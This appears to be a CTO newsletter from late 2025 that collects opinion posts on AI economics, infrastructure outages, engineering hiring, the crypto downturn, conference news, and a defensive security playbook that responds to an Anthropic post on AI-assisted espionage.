This is the year we all became CAIOs, whether the org chart reflects it or not. Responsible not just for technology strategy but for navigating a value chain where only Tier 1 makes money, securing systems against threats vendors can’t define, measuring productivity gaps between perception and reality, architecting for infrastructure failures we can’t predict, and explaining to the CFO why that crypto position is actually collateral for AI speculation.

The year that promised transformation delivered fragmentation and a job description nobody wrote down but everyone’s expected to execute.

Welcome to the CAIO era. The role you didn’t apply for but got anyway.
In addition to your normal holiday bonus.

                                                                        ☃︎

Our monthly newsletters are beasts, written for CTOs who stay with the trouble; hard problems that shape a given year in technology more than those looking for quick answers. They have a table-of-contents, but still can be daunting. For this our final newsletter of 2025 we’re changing it up with a new ADHD friendly format, which breaks each issue into standalone posts. The topics demand depth that’s hard to compress, but you shouldn’t need Adderall to get through them.

Turning Sand Into Money

Why the Cost of Beached Assets Will Implode the 5:1 Capex-to-Revenue Ratio.

The AI economy begins with sand. TSMC takes silicon dioxide, literally beach sand, and through $20 billion fabrication plants transforms it into chips worth 10,000x the raw material cost. Nvidia takes those chips and turns them into H100 GPUs selling for $30,000 apiece. Microsoft takes those GPUs and rents them by the hour at 80% gross margins. OpenAI takes that compute and burns it training models they sell through APIs at a loss. And somewhere, theoretically, an enterprise customer takes that API access and builds an application that generates actual economic value.

This is the five-tier value chain of AI:

silicon → GPUs → cloud → models → applications

In a functioning market, each tier captures margin by adding differentiation. In the AI market, only Tier 1 is making money. Everything else is playing hot potato with credit lines, hoping the music doesn’t stop before the applications tier materializes.

Tier 2 reveals the structural problem when you strip away the narrative. [read more]

Infra Penny, Infra Pound

(How) Trading Resilience for Convenience Created the Autonomous Architecture Mandate

On November 18, 20% of the global web went dark for three hours. Not from a cyberattack. Not from physical infrastructure failure. A single .unwrap() call in Cloudflare’s Rust codebase brought down X, OpenAI, Discord, and critical infrastructure across five continents. The trigger was a database permission change. The catalyst was a SQL query missing a WHERE clause, returning double the expected data. The crash was a hard-coded limit in a panicky edge worker that didn’t degrade gracefully.

(*this is actually just a myth.)

We’ve built a world where the smallest operational decision can have the biggest operational blast radius. Not because the failures were exotic. Not because a nation-state attacker slipped through a zero-day. But because of something much harder to defend against: routine changes traveling through systems that are no longer routine. You saved pennies by outsourcing infrastructure to hyperscale providers. Now you’re in for a pound when their cascading failures take down your entire operation and takes a big bite of revenue.

CTOs need architectural patterns that follow through when dependencies fail, which means… [read more]

The Great (AI) Replacement

I saw the best devs of my generation destroyed by agents, prompting hysterical replaced

Some few dozen CTOs from NYC’s biggest and most technology focused companies recently gathered for a city-wide luncheon. They weren’t debating LLM architectures or which agentic framework was hottest this week. They definitely weren’t discussing model benchmarks or token economics. They were talking about headcount, hiring, and more quietly, AI-related existential questions asked out loud, such as, What does an engineer even do in 18 months, and how do you hire for that?

The room was full of people who’ve already made their AI bets. Teams running with Copilot, engineering orgs experimenting with agents, departments deep into pilots that were supposed to be in production longer ago than anyone cared to admit. The question has long since moved past how much AI to adopt. What was being asked is what adoption means for the shape of engineering itself, and how you staff for a future you can’t predict, on planning cycles that require you do so.

The Great AI Replacement isn’t happening the way the hype promised. AI isn’t replacing developers; it’s replacing… [read more]

Web3 Wonderland

What November’s collapse revealed about liquidity, and the cold

The frost set in fast. Here in NYC we had one of the earliest frosts in the last 25 years, which almost seems like a harbinger in hindsight: November 2025 was a stress test in real time. It looked like classic macro spillover: stocks up, bonds flat, VIX spiked 11%, climbing past 27. S&P 500’s P/E ratio didn’t budge (all year.) Treasury yields held. Equities traded sideways. Then, there was Bitcoin, which dropped $40,000 in 45 days. 🎢 From $126,000 to $89,000, a trillion dollars evaporated across crypto markets; some instruments more than 80% of their nominal value. The collapse was surgical, isolated to the speculative frontier: crypto and AI infrastructure, twin pillars of “future tech” both suddenly repriced as if someone had turned off the heat. But who?

To understand why this drawdown was so severe, we need to zoom in on how AI and crypto have become structurally coupled. But first, let’s [read more]

Reinventing The Future

Can someone please explain why AWS re:invent and NeurIPS have to be scheduled for the same week? It’s a plot to make you choose between data science and data engineering, between operational infrastructure updates and cutting-edge research. I mean, who needs to understand both how AI models work AND how to actually deploy them at scale?

At re:invent (which closed with Vogels’ final keynote “ever”), Lambda finally added multi-concurrency support with Lambda Managed Instances. Each execution environment can now process multiple requests rather than spinning up separate environments for each invocation (which is a control plane anti-pattern) enabling code shared resources across concurrent requests. Strange that durable functions support was added to CloudFormation but not managed instances; it’s almost as if different teams shipped features without coordinating. Fine print: GPU support is still unclear. And while the CreateFunction API lets you choose managed instances, AWS::Lambda::Function in CloudFormation doesn’t. You have to use SAM’s AWS::Serverless::Function and AWS::Serverless::CapacityProvider instead.

Database Savings Plans (DSP) finally giving RDS and Aurora the same reserved capacity pricing model EC2 has had for years. If you’re running production databases on AWS and weren’t already gaming Reserved Instances, this should save 20-40% on steady-state workloads. If you were gaming Reserved Instances, this is mostly repackaging with better flexibility. Nearly every DSP case study, and at least every other presentation covered complex, autonomous, or semi‑autonomous agent workflows. AWS is betting that agentic AI becomes the default development paradigm, which means their service roadmap is optimizing for orchestration, state management, and guardrails rather than raw model access. RIP Nova. But if your architecture still treats LLMs as stateless API calls, you’re building for 2023’s problems.

Meanwhile (literally) at NeurIPS, the problems of 2027 are already taking shape.
Large-scale agent frameworks, multimodal reasoning, and energy-conscious training techniques all promise performance at a fraction of compute. Artificial Hivemind was dominating conversations before even winning best poster on the DB track, for showing why different LLMs, even from separate labs, tend to produce nearly identical outputs. I mean apart from, you know, statistics. Or the fact that all these labs are reading from the same giant crib sheet. Basically, the hive is implementing a distributed Kalman filter for cultural drift. Another entrant in the “of course” category, The Universal Weight Subspace Hypothesis (which went up on Arxiv in the Friday NeurIPS rush) showed weight spaces collapse into the same low-dimensional “universal” subspace, which is somehow even funnier.

Energy efficient AI innovation was a hot topic, putting energy costs in perspective with real numbers. (Related: Alistair Alexander’s recent estimation that creating one 10-second AI video on Sora uses 1 kw-hour, 10% of a German household’s daily energy consumption, equivalent to watching 5.5 hours of Netflix.) Another thing that’s gootten remarkably efficient is NeurIPS paper submissions, growing from 9k submitted in 2022 to over 25k submitted this year. I can’t imagine why that’s happening. Several of this year’s top papers showed that architectural tweaks (like gated attention) and deep-but-stable training regimes (viz. 1,000-layer RL networks) can deliver outsized gains without the usual scaling tax. Papers on AI-assisted software development offered glimpses at pipelines for code synthesis, testing and deployment; translating these innovations into production-ready systems, which is is non-trivial, has a rough market cadence with POCs appearing in the 3-6 month range, 6–18 months to integrate a feature reliably into internal systems, and 12–24 months to ship it in a customer-facing product.

The conference overlap forces you to declare what you’re optimising for: vendor roadmaps or competitive differentiation. re:Invent is still bigger bc it’s immediately actionable: new services you can deploy next quarter. NeurIPS is 1/4 the size of re:Invent (1/3 including virtual attendees) bc the research won’t be productized until 2027. The gap between them is whether you’re building infrastructure flexible enough to absorb what’s coming w/o requiring a rewrite when the research becomes product.

2025 Tech Wrapped

In 2025 the models improved faster than (almost) anyone predicted, SOTA FLOP grew 100x, pricing collapsed, Ilya announced the end of scaling, and open-source alternatives matched frontier performance on consumer hardware. What these much lauded advancements mean when model benchmarks have basically become an object lesson in Goodhart’s law, is another question entirely. But CTOs weren’t struggling with model capabilities. Rather, architectural maturity, measurement systems designed for human-written code, security frameworks that couldn’t define the threats they were supposed to prevent, and infrastructure so centralized that routine changes triggered existential failures: these were the real, operationally salient challenges this year. The technology worked. The systems we built around it didn’t.

Our roles changed faster than our titles. What started as “integrate AI into our stack” became “navigate a value chain where only Tier 1 makes money,” then “measure productivity when developers spend more time reviewing AI output than writing code,” then “architect for agents we don’t fully trust operating on infrastructure we can’t control,” and finally “explain to the board why we need a Chief AI Officer.” Some organizations created new roles. Most just watched their CTO absorb everything AI-adjacent because someone has to own it and nobody else wants the liability.

The through-line across every layer this month: tier economics, infrastructure fragility, workforce transformation, security theater, and crypto’s liquidity test is identical: we optimized for velocity and built systems not fit for operating under stress. Dromology describes the boundary where this speed meets indeterminism. When the music skips a beat, the architecture reveals what it was really built for. Not resilience. Not sustainability. Performance under optimal conditions with the assumption that optimal conditions would continue. The breaking of this assumption will demarcate where the CAIO era began.

That’s all for this month. And this year. See everyone at lunch.

And Happy Code Freeze, to those who celebrate!

Forest Mars
❄️🏂❄️🏂❄️

In November alone, major holders transferred over 63,000 BTC out of long-term storage, signaling profit-taking and sparking widespread selling. This is approximately $5.4 billion in Bitcoin moving at current prices. The pattern has been repeating all month: large holders de-risking while retail tried to buy the dip.

ETF flows tell the story. After $61 billion in cumulative inflows through Q2 2025, institutional money reversed. After Uptober’s wild rocket ride, Downvember saw multi-billion-dollar outflows. Retail enthusiasm remained, albeit jittery, but institutional appetite vanished. The $1 trillion drawdown accomplished two things simultaneously: (a) destroyed paper wealth for speculators, and (b) forced sorting of who actually has cash flow, governance, and real problems to solve.

To understand why this drawdown was so severe, we need to zoom in on how AI and crypto have become structurally coupled. But first, let’s be clear about terminology.

The Bear In Winter

Everyone wants to name what’s happening. Bear market. Crypto winter. Macro spillover. AI leverage unwind. But labels are shortcuts that shackle diagnosis, and what’s happening now doesn’t map cleanly to any previous cycle. (Rhyming, not repeating, as we say.) The market behavior is hybrid, caught between psychological collapse and structural failure, exhibiting characteristics of both without fully committing to either. Here, the distinction between a bear market and a crypto winter proves to be both critical and instructive.

A bear market is psychological. Prices fall because participants stop believing in tomorrow’s bid. Sentiment compounds into fear until no one wants to catch the falling knife. It’s a crisis of confidence that can reverse the moment conviction returns. Bears are reversible.

A crypto winter is structural. Something deeper broke: liquidity plumbing, exchange solvency, capital flow assumptions, risk distribution mechanisms. These aren’t sentiment problems. They’re architectural failures that require rebuilding, not just renewed optimism. Winters don’t care about your conviction. They care whether your infrastructure can operate without an external heat source.

What we’re experiencing now is rarer and more dangerous: a cyclical downturn colliding with a leverage regime the industry insisted didn’t exist. It’s the bear in winter: prices are behaving like a bear market; liquidations are behaving like a winter. While builders are behaving like it’s still late-cycle euphoria, telling themselves the warmth is coming back any day. Builders gonna build.

Coupled Risk: AI on the Blockchain

The long tail of the Great Capital Reallocation
​‌‍⁠⁣⁢⁤  

The cause isn’t mysterious. Two narratives inflated each other without ever integrating their risk: artificial intelligence and crypto-native finance. Both promised to reshape the global economy. Both attracted the same capital pools hunting frontier returns. Both treated regulatory uncertainty as SEP (someone else’s problem.) And when questions emerged about AI’s unit economics (that $400 billion capex chasing non-existent app revenue from Turning Sand into Money), the contagion was immediate and fairly devastating.

This is where the Bear Market psychology leveraged a Crypto Winter structure. The sentiment shifted in the AI sector first, causing AI-related stocks to drop. But an architectural flaw was revealed in the collateral coupling.

Bitcoin miners had pivoted their infrastructure to AI compute, leveraging power contracts and data center capacity to host NVIDIA GPUs for high-performance computing clients. Their valuations became tied to AI industry growth, which meant crypto sentiment became tied to AI credibility. When skepticism about AI returns surfaced, mining stocks got repriced. Bitcoin followed. Then crypto served as collateral for AI infrastructure spending, creating a feedback loop: AI doubts trigger crypto liquidations, forcing deleveraging in adjacent markets, amplifying AI skepticism.

The mechanism connecting AI equity to crypto collateral is straightforward, not to mention terrifying if you’re over-leveraged. Multiple AI startups use Bitcoin as collateral for credit facilities. The precise figure: at least $26.8 billion in BTC backing AI-related loans as of December 2025. This creates a Medusa cascade sequence: major AI stock drops 40%, lenders issue margin calls on Bitcoin-collateralized loans, AI startups forced to post additional collateral or liquidate BTC positions, $23+ billion in Bitcoin hits the market, Bitcoin crashes below $52,000, crypto credit markets freeze as collateral values evaporate, derivatives unwind, leveraged positions liquidate, connected balance sheets collapse.

This isn’t theoretical but empirical. Over $19 billion was liquidated in October’s flash crash alone. Recent 24-hour liquidation events have topped $800 million to $2 billion, with 90%+ being long positions. Order books remain thin post-October, market makers spooked, liquidity absent. Even modest selling pressure creates 5-10% gaps on low volume. The Bear (price drop) accelerated because the Winter mechanism (leverage, structural coupling) turned confidence problems into solvency problems.

Two Cultures: Pipes vs. Mirrors

And what happens to each when liquidity freezes
​‌‍⁠⁣⁢⁤  

The real crack in the ice is between two fundamentally different types of capital aspiring to the same throne: digital financial capital and digital social capital. This isn’t simply attention vs utility; that undersells the distinction. They intersect. They both produce tokens, obvi. They both claim to represent value. But as those who have been playing this game for a while understand, they do not behave the same when liquidity goes to ground.

Digital financial capital operates like plumbing. It prices liquidity, certainty, and enforceability. Value is realized through spreads, throughput, counterparty reliability, settlement guarantees. It competes against banking rails, treasury desks, and payments infrastructure. You can test it with size. You can measure it with SLAs. You can sue the counterparty when something breaks. This is capital in the oldest sense: deployable, fungible, and subject to external validation. It is designed to survive winter.

Digital social capital operates like spectacle. It prices attention, coordination, and narrative momentum. Value comes from cultural legitimacy and the velocity of collective belief. It competes against TikTok, fandoms, and creator economies. Its liquidity is reflexive and theatrical, existing only when watched. It’s Heisenmoney; you cannot test it with size without destroying it. You cannot measure it with SLAs because the agreement is vibes. You cannot sue the counterparty because the counterparty is a Discord server and reaction emojis. This is capital only in the sociological sense: reputation that can be temporarily financialized. It cannot survive winter; it requires constant heat.

The frost separated them with brutal efficiency. Financial capital has real orderbooks you can stress-test. Social capital has “infinite liquidity” until someone tries to trade size, at which point thin books masquerading as depth collapse instantly. Dust to dust. Financial capital settles with proofs, auditors, and legal recourse. Social capital settles with narrative finality: shifting influencer endorsements, meme half-lives and collapsing new liquidity. Financial capital yields fees because it provides a service people will pay for repeatedly. Social capital burns capital to sustain attention, requiring constant narrative oxygen just to remain visible. Dopamine as currency.

The lesson isn’t that social capital has no value. It does. Attention, coordination, and narrative cohesion are real economic forces. The lesson is that social capital and financial capital require different infrastructure, different risk management, and different expectations about what happens under stress. Conflating them, treating community promises as equivalent to audited reserves, mistaking virality for liquidity, creates exactly the kind of brittle architecture that shatters when temperature drops. Bear Markets test sentiment (the desire to hold). Crypto Winter reveals which architecture could hold the value when the sentiment failed.

This distinction becomes concrete when we look at which systems actually kept moving: attention-coins glitched out; stablecoin rails popped off.

Attention on Rails

Disagreement is what we have in common

Think of it this way: attention-coins behave like unstable social derivatives; payments infrastructure behaves like plumbing. Attention-coins try to monetize coordination, but their liquidity is reflexive, it exists only when watched. Payments infrastructure earns durable fees because it moves real money tied to real obligations. One is a sentiment amplifier; the other is a settlement substrate.

The fundamental ‘problem’ with digital social capital is that disagreement (and not contradiction, as Deleuze would ofc point out) is attention’s atomic primitive. Kalshi’s Luana Lara, now the youngest self-made female billionaire, candidly acknowledges that disagreement (about literally anything that can be disagreed on) is the fundamental primitive of prediction markets. Controversy generates engagement. Conflict creates narrative momentum. A token can pump on community drama just as easily as it can pump on utility. However, if your treasury model cannot distinguish between realized spread and Twitter virality, between reserve quality and Discord screenshots, between slippage under stress and community vibes, what you have isn’t a financial operation but rather performance art that will evaporate the moment the audience stops watching. Send in the clowns, but unironically.

Bitcoin inscriptions, on-chain artifacts, $10k Bitcoin 🧦socks, all while institutional players measured operational and legal exposure. Ordinals became the definitive test case. During euphoria, Ordinals attracted liquidity and attention, pushing institutional custodians into existential questions: are we custodians of digital property or someone’s jpeg collection? (Not to mention thornier questions around CSAM.) When first frost hit, market depth vanished. There was no orderbook providing support. No institutional buyers stepping in with liquidity. Just a community promising that holding was virtuous and selling was betrayal, which turns out to be a poor substitute for a market maker with balance-sheet capacity. The Social Capital narrative failed the structural test of Winter.

Meanwhile, stablecoin rails on fast L2s kept clearing transactions. This isn’t a philosophical difference; it’s mechanical. One system has audited reserves, regulated counterparties, and predictable settlement. The other has vibes. (And “Razzlekhan” who got released from prison last month, tho she’s no doubt is restricted from going anywhere near crypto, let alone launching a coin.) Vibes that have zero impact on infrastructure, unless you count the explosive growth of Polymarket and Kalshi, both of which make their founders into billionaires. Capital loves functioning rails built for the cold. Narratives only buy attention until liquidity runs out.

The Fish Below The Ice

Stablecoin payments exploded. USDC on the much-maligned Base (Coinbase’s Layer 2) became the default settlement layer for practical crypto usage. By mid-2025, Base had 33% of U.S. Layer-2 payment market share, far exceeding Polygon (13.4%) or Optimism (7.1%). USDC accounted for nearly 60% of Arbitrum’s stablecoin volume. On Base and Optimism, USDC was the default from day one, ETH never had a chance. (Although it’s still my favourite stablecoin.)

The data is stark: ETH payments on Arbitrum fell from over 50% in 2023 to just 23% in 2025. Stablecoins took the rest. Payment processors saw this in real-time. CoinGate reported 135% year-over-year growth in Polygon transactions in 2024, with another 16.5% YoY growth in 2025. July 2025 marked Polygon’s busiest month ever, driven entirely by surging USDC usage.

Stripe rolled out stablecoin subscription payments in October, letting U.S. businesses accept USDC on Base and Polygon, settled automatically in fiat. The $1.1 billion acquisition of Bridge in October 2024 positioned Stripe to tokenize global payment rails. By December 2025, Bridge filed for a national trust bank charter with the OCC, the infrastructure to “tokenize trillions of dollars” if approved.

Shopify enabled USDC payments on Base in June, with 1% cash back for customers. This infrastructure, not meme coins, not $10k socks, represented the actual utility case. Stablecoin payment volumes hit $19.4 billion year-to-date by mid-2025.

MicroStrategy’s transparent treasury made risk visible and marketable. Public, hedged books meant counterparties could price exposure and plan around it. The reporting didn’t prevent pain, but it made pain fungible. Stablecoin rails like USDC kept clearing transactions with audited reserves and regulated counterparties. Base and similar Layer 2s processed volume with minimal slippage because they had predictable settlement mechanics, not because they had community enthusiasm. Custodians with SLAs and balance-sheet capacity absorbed institutional migration as firms fled to providers who could prove indemnity and survive concentrated runs. Exchanges and OTC desks with real inventory acted as counterparties, absorbed distortions, and earned the spread.

That Which Survives

The ones who survive every cycle are the ones perfectly comfortable when temperature drops, because they built for winters that don’t negotiate, that don’t care about your thesis or your community, that simply reveal whether your architecture was real. And how well you’ve learned your lessons.

Liquidity is not optional. The freeze exposed how much of crypto’s valuation depended on fast, unconditional liquidity. Without it, mark-to-market becomes mark-to-panic. Treasury architectures that assume perpetual depth get punished.

Narratives are corrosive when governance is weak. Spectacle raises reputational and legal costs that reduce institutional participation. Custodians, compliance officers, and courts eventually stop laughing.

Collateral coupling with AI is the new tail risk. Crypto is now entangled with AI infrastructure speculation. That entanglement amplifies shocks neither ecosystem can absorb independently. It’s systemic financing risk.

Regulatory alignment is priced in. Legal actions trigger liquidity freezes. Institutional allocators now price regulatory compliance as mandatory, not nice-to-have. Product designers who embedded KYC, audited reserves, and insurance from the beginning see lower counterparty haircuts and access capital that won’t touch competitors treating compliance as optional.

Plumbing wins, always. Stable payment rails, composable settlement primitives, and well-governed tokenization endure. They don’t glitter; they clear transactions. If you got in early and kept your architecture clean, if you didn’t mistake noise for signal or motion for progress, if you distinguished between pipes that pull fees and mirrors that push attention, you’re not scrambling now. Winter isn’t the same threat when you’re holding plumbing; it’s a competitive advantage.

A Beautiful Sight

The freeze exposed structural truths the industry deferred during euphoria. Treasury architectures that assume perpetual depth get punished. Collateral coupling with AI is the new tail risk; crypto entangled with AI infrastructure speculation amplifies shocks neither ecosystem can absorb independently. Regulatory alignment is priced in.

What comes next depends on who adapts. If the AI-credit overhang clears without cascading liquidations, this stays a Bear Market (a sentiment problem). If loan books crack and collateral melts, Winter fully settles in (a structural problem).

When the thaw arrives (and it always does) it won’t reward the participants who waited for warmth to return. It rewards the builders who treated winter as calibration, who rebuilt architecture instead of waiting for sentiment to recover, who understood that survival requires operating in the cold rather than reminiscing about summer. Most participants arrive in crypto looking for summer. They want easy liquidity, hype cycles, and reflexive pumps.

Winter tests structure; bear markets test conviction. Those who built resilient plumbing, not fragile mirrors, weather both with advantage. The ones who last are the ones who kept their keys, kept their conviction, kept building infrastructure instead of chasing narratives. Which is why, while everyone else panics or prays for a thaw, you’re out here beaming, steady, unfrozen.

Walking in a Web3 wonderland.

The Rhetoric Problem

Here’s the trick: invoke “agentic AI” as if it’s qualitatively different from every program ever written, never define what makes it different, then use that undefined threat to justify vague countermeasures. No shade on Anthropic, I respect the company, but it’s security theater dressed up in AI clothing, and it’s spreading.

The post worries about models that can “autonomously execute multi-step tasks.” Congratulations, you’ve just described every bash script, API orchestration layer, and database transaction in existence. Computers executing multi-step operations isn’t new. What is allegedly new is when an LLM generates those steps. But Anthropic never explains why that difference matters for the threat model. This is a problem.

Is it adaptability? Every program with conditionals can adjust based on intermediate results. Is it the natural language interface? That lowers the skill floor for attackers, sure, but you still need underlying access and permissions. Is it unpredictability? That’s a real concern, but then your mitigation should be about sandboxing, capability restrictions, and deterministic guardrails, not “monitoring for patterns.”

If you think the actual risk, after stripping away the AI mysticism, is something like: “LLMs lower the barrier to entry for stringing together existing exploits in novel sequences, and their stochastic nature makes behavioral prediction harder.” Fine. Say that. Then explain what technical controls actually address it. Instead we get vague hand-waving about “advanced capabilities” as if ChatGPT learned to teleport.

The only meaningful angle here is speed of execution. LLMs can iterate through reconnaissance and exploitation attempts faster than humans typing. Think the stereotypical movie hacker, fingers flying across the keyboard, except it’s actually happening. This is precisely and literally the logic of Dromology applied to offense. As Virilio argued, when a system accelerates beyond a certain threshold, it loses the structural bandwidth to maintain meaning. On the defensive side, Anthropic’s response of “monitoring for patterns” is the classic institutional reaction to acceleration: tightening command rather than improving comprehension.

But even that’s not novel. We’ve had automated exploit frameworks (Metasploit), fuzzing tools (AFL, LibFuzzer), and vulnerability scanners (Nmap, Burp Suite) for literally years (and what other kind are there) if not decades. If the threat is “LLMs make attack iteration faster,” the question isn’t whether they can, it’s how much faster, and does that speed cross a meaningful defensive threshold? Without quantification, you’re not doing threat modeling. You’re writing speculative fiction about AI capabilities. Which doesn’t really help CTOs allocate security budgets.
But hey, CTOs have nothing but extra time on their hands, right?

What a Real Threat Model Looks Like

Security professionals use threat models. Not vibes. A proper analysis would specify:

• Attack Surface: What’s the actual vector? Compromised credentials? API access with insufficient scoping? Prompt injection leading to unintended tool use? Model extraction attacks? Each has different mitigations.

• Prerequisites: What does an attacker need before “agentic AI espionage” becomes viable? If they already have network access and valid credentials, the AI isn’t the problem, your access controls are. The model is just accelerating reconnaissance they could do manually.

• Impact Analysis: What can an AI-assisted attacker exfiltrate that a human with the same access couldn’t? If the answer is “nothing, just faster,” then this is a rate-limiting problem, not an AI problem.

• Countermeasures & Efficacy: What’s the false positive rate on “misuse pattern” detection? How do you distinguish espionage from legitimate security research? What happens when adversaries learn your detection signatures and route around them?

Anthropic provides none of this. The post reads like it was written for policymakers who need talking points, not engineers who need to harden infrastructure.

What Anthropic Actually Said (And Didn’t)

In the post Anthropic claims they are:

1. Refusing certain requests (undefined)

2. Monitoring for “misuse patterns” (undefined)

3. Collaborating with “threat intelligence partners” (unnamed)

What’s missing:

• Concrete capability thresholds that define “concerning agentic behavior”

• Technical specifications of what their monitoring actually detects

• False positive/negative rates for their detection systems

• Specific attack patterns they’ve observed in the wild versus theoretical concerns

• Architectural details of how their sandboxing prevents capability escalation

• Metrics on whether their mitigations actually reduce espionage risk

This is particularly frustrating because Anthropic publishes solid technical work elsewhere! Their interpretability papers are rigorous. Their Constitutional AI research has real technical depth. Their culture seems to be on point. This post feels like it was written by their policy team without an engineer in the room, then positioned as substantive security guidance. Security through obscurity much?

What This Means for CTOs

The Real Infrastructure Question

Strip away the “agentic” mysticism and you’re left with a classic security problem: how do you safely delegate authority to automated systems that might behave unpredictably?

That’s not new. We solved this for web servers (capability-based sandboxing), for cloud functions (IAM policies with least-privilege access), for CI/CD pipelines (isolated execution environments with credential scoping). The solution isn’t hand-waving about “monitoring.” It’s:

1. Capability Restriction: LLMs should only be able to invoke tools you’ve explicitly granted. If your model can access production databases because “it needs context,” your architecture is wrong. Use read-only replicas, synthetic data, or scoped credentials that auto-expire.

2. Action Auditing: Every tool invocation should be logged with full context: what was requested, what was executed, what data was accessed. Not for “misuse pattern detection” but for forensic reconstruction when something goes wrong.

3. Human-in-the-Loop for High-Risk Operations: Certain actions (data exfiltration, credential generation, production writes) should require explicit human approval. Not because AI is scary, but because these are high-impact operations that warrant oversight regardless of who’s requesting them.

4. Rate Limiting & Anomaly Detection: If an API key suddenly makes 10,000 requests in an hour when historical patterns show 50/hour, that’s worth investigating. This works whether the requests come from an AI agent, a compromised developer workstation, or a malicious insider.

5. Sandboxing & Isolation: Run AI-generated code in isolated containers with no network access to production systems. Test outputs in staging before promotion. This is standard DevSecOps translated to agentic workflows.

None of this requires inventing new security paradigms. It requires applying existing best practices to a new execution layer.

CTO Playbook: (30/60/90)

Hardening Against AI-Assisted Attacks

□ 30 day

• Capability Inventory & Scoping (HIGH PRIORITY - 30 days)

  • Audit every service that could be invoked by an LLM (yours or an attacker’s). Document: what data can be accessed, what operations can be performed, what downstream systems can be reached. For each capability, implement least-privilege access: read-only where possible, time-limited credentials everywhere, explicit allow-lists for sensitive operations. Deliverable: Capability matrix showing current permissions and target restricted state, implementation plan with responsible owners.

• Tool Invocation Logging (HIGH PRIORITY - 30 days)

  • Instrument every API endpoint that could be called by an AI agent with structured logging: request parameters, authentication context, data accessed, response payload size, execution time. Store logs in immutable storage with 90-day retention minimum. This isn’t AI-specific—it’s basic operational hygiene that pays dividends when you need to investigate anything suspicious. Deliverable: Logging dashboard showing tool invocations per service, alerting rules for anomalous patterns, runbook for incident investigation.

□ 60 day

• Human-in-the-Loop Thresholds (MEDIUM PRIORITY - 60 days)

  • Define categories of operations that require explicit human approval: production data access, credential generation, financial transactions, user data exports. Implement approval workflows with clear escalation paths and timeout policies. This creates defense-in-depth: even if an attacker compromises an AI system, they hit a human checkpoint before exfiltration succeeds. Deliverable: Approval matrix defining auto-approve vs human-required operations, implemented workflow with audit trail, quarterly review process.

• Sandboxed Execution Environments (MEDIUM PRIORITY - 60 days)

  • Run AI-generated code in isolated containers with no network access to production infrastructure. Require explicit promotion after testing in staging. Use ephemeral credentials that expire after execution completes. This prevents an AI-assisted attacker from using your systems as a pivot point to internal networks. Deliverable: Container orchestration config with network policies, credential rotation automation, promotion gates requiring security review.

• Rate Limiting & Behavioral Baselines (MEDIUM PRIORITY - 60 days)

  • Establish normal request patterns for each API: typical call volume, geographic distribution, time-of-day patterns. Implement dynamic rate limiting that adapts to historical baselines. Alert on deviations exceeding 3σ from norm. This catches AI-accelerated attacks (sudden volume spikes) and low-and-slow reconnaissance (unusual access patterns). Deliverable: Baseline metrics per API, rate limiting rules with automatic throttling, incident response playbook for anomalous traffic.

□ 90 day

• Security Research Policy (LOW PRIORITY - 90 days)

  • Document how your organization handles reports of AI-assisted vulnerabilities. Establish a responsible disclosure program that distinguishes legitimate security research from malicious reconnaissance. Train SOC teams to triage AI-related alerts without assuming every unusual pattern is espionage. Deliverable: Public security.txt file with disclosure policy, internal triage criteria for AI-related alerts, quarterly training for security team on false positive patterns.

• Vendor Security Questionnaire Updates (LOW PRIORITY - 90 days)

  • Update your vendor risk assessments to ask: How do you sandbox AI-generated code? What tool access do your models have? How do you detect AI-assisted reconnaissance? Can you provide evidence of rate limiting and anomaly detection? What’s your policy on AI model access to customer data? Most vendors won’t have good answers yet—that’s fine, but knowing which ones don’t should inform your risk calculations. Deliverable: Updated questionnaire template, risk scoring rubric for AI-specific concerns, re-evaluation schedule for critical vendors.

Bottom Line

Anthropic’s post traffics in the same vague rhetoric that’s infected all AI discourse: invoke a mystical capability, give it a scary name, never define it operationally, then use the fear to justify... whatever you wanted anyway. No shade. 🌥️

“Agentic AI espionage” isn’t a new threat category. It’s existing attack patterns executed faster by systems with larger action spaces. It’s pure dromology. The mitigation isn’t “monitoring for misuse” (whatever that means). It’s the same defense-in-depth that’s worked for decades: least-privilege access, comprehensive logging, human approval for sensitive operations, sandboxed execution, and anomaly detection.

The organizations falling behind are the ones treating “AI security” as a separate domain requiring new (and only vaguely understood) paradigms. The organizations pulling ahead recognize that AI is just another execution layer requiring the same rigorous controls we apply everywhere else: capability restrictions, audit trails, isolation boundaries, and behavioral monitoring.

CTOs: the next vendor who tells you they’re “hardening against agentic threats” without providing technical specifics is selling you security theater. Ask for the threat model. Ask for detection efficacy metrics. Ask how they distinguish espionage from legitimate use. If they can’t answer, they haven’t done the work.

The AI era doesn’t require new security principles. It requires applying existing ones rigorously to systems that can operate faster and less predictably than humans. That’s an engineering challenge, not a mystical one. And much more utilitarian.

To attend CTO Lunches, please register at ctolunches.com and choose NYC as your city.

The room was full of people who’ve already made their AI bets. Teams running with Copilot, engineering orgs experimenting with agents, departments deep into pilots that were supposed to be in production longer ago than anyone cared to admit. The question has long since moved past how much AI to adopt. What was being asked is what adoption means for the shape of engineering itself, and how you staff for a future you can’t predict, on planning cycles that require you do so.

Do you hire senior engineers with deep architectural intuition but slower adaptation curves to AI-augmented workflows? Do you hire junior devs native to AI tooling but lacking the experience to evaluate what the model hands them? Do you upskill your existing team, and if so, in what? Context engineering? Agent orchestration? The subtle art of reading AI-generated code as if you’re deciphering a patchwork dialect the model only half-remembers: overly verbose and fluent in syntax but not intention?

The market is undergoing a structural contradiction. The overall 240,000 tech worker reduction last year contrasted sharply with the 119,000 jobs added by the broader U.S. economy. The purge included Alphabet (12,000+), Meta (10,000+), Amazon (15,000-30,000), Microsoft (5,000+), and Deloitte (1,200+) with 65,000 roles cut in the last documented month alone. Simultaneously, job listings for forward-deployed engineers surged 800% between January and September. This is the new reality: massive asset reduction alongside desperate, high-velocity hiring for AI integrators.

• The Pitch: Companies like Cursor raise billions promising 40%+ productivity gains.

• The Reality: Carnegie Mellon found that engineers (r=807) weren’t just writing less code; they were spending more time reviewing AI-generated code that arrived faster and worse.¹

• The Failure Rate: MIT Media Lab reported a 95% failure rate on enterprise generative AI pilots; and Atlassian showed 96% of enterprises seeing no real efficiency improvement.

• The Workslop: Harvard Business Review showed that 40% of workers received AI-generated workslop last month, with each sample taking nearly two hours to fix.

The decks promised efficiency. Ground truth looks a lot more like cost relocation fronting as innovation. It’s a movie we’ve seen before, but such recognition is, tbf, somewhat unevenly distributed. This is an historical structural failure repeating itself. During the Desktop Publishing era (falling between object-oriented programming and cloud computing) PageMaker gave non-designers power without guardrails, resulting in the visually chaotic OG workslop of the 1992 church newsletter scourge (not to mention the curse of comic sans.) Today, agents give non-architects power without guardrails, resulting in structural chaos as workslop goes multi-modal.

